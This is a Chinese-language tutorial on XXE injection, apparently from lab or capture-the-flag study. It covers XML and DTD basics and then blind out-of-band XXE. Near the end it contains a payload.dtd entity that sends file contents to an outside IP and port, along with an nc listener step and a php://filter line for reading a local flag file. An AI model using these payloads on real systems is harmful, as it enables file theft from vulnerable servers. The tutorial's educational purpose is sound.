XXE注入
1 | xml外部实体注入漏洞。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意的外部文件,造成文件读取、命令执行等等。XXE漏洞触发点在可上传xml文件的位置,没有对上传的xml文件过滤,导致上传恶意的xml文件。 |
XML基础
1 | XML,用来传输和存储数据。没有预定义标签,用户自定义标签。 |
XML语法规则
https://www.w3school.com.cn/xml/xml_syntax.asp
- 1、所有XML元素都必须有关闭标签
1 | <p>xxxxx</p> |
- 2、XML标签对大小写敏感
1 | <message>hhh</message>正确 |
- 3、XML必须正确地嵌套
1 | <b><i>hhh</b></i>错误 |
- 4、XML文档必须有根元素
1 | <root> |
- 5、XML的属性值必须加引号
1 | <note data="05/28/2021"> |
1、实体引用
由于<可能会被误认为标签符
< | < | 小于 |
---|---|---|
> | > | 大于 |
& | & | 和号 |
' | ‘ | 单引号 |
" | “ | 引号 |
2、XML中的注释
类似HTML
1 | <!--this is a comment --> |
3、在XML中,空格会被保留
1 | HTML会把多个连续的空格字符裁剪(合并)为一个,但是XML不会合并空格。 |
XML文档组成
XML文档形成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。
DTD文档类型定义
1 | DTD是定义XML文档合法构建的模块。既可以在XML文档定义,也可以在外部引用。 |
内部的文档声明
1 | <!DOCTYPE 根元素[元素声明]> |
外部的文档声明
假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中
1 | <!DOCTYPE 根元素 SYSTEM "文件名"> |
DTD-实体
1 | 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。 |
内部声明
1 | <!ENTITY 实体名称 "实体的值"> |
1 | <!ENTITY writer "wang"> |
1 | <author>&writer;&book;</author> |
- 一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。
外部声明
1 | <!ENTITY 实体名称 SYSTEM "URI/URL"> |
外部注入
1 | <?xml version="1.0"?> |
浏览器中不会解析读取数据,但是可基于php解析。
XML盲注利用姿势
实体参数基础
1 | 实体参数只能用于DID中,实体参数的声明和引用都是以%开头。 |
实体参数:相当于实体的引用
1 | <?xml version="1.0"?> |
Blind XXE
盲XXE实验代码:
1 | <?php |
无法回显
1 | <?xml version="1.0"?> |
可访问远程地址,在本地读取文件后通过远程访问携带数据。((OOB)out of band)带外
POST请求
1 | <?xml version="1.0"?> |
在url使用wireshark抓包:请求payload.did,但是不存在。
方法:构建接受实体参数值的php页面,记录flag值
1 | <?xml version="1.0"?> |
返回的内容
payload.dtd
1 | <!ENTITY % all "<!ENTITY send SYSTEM 'http://本地ip:8888/?abc=%evil;'>"> |
nc监听 8888端口,即可得到flag。
如果存在特殊字符的文件报错,使用php输入输出流读取文地文件
1 | php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt |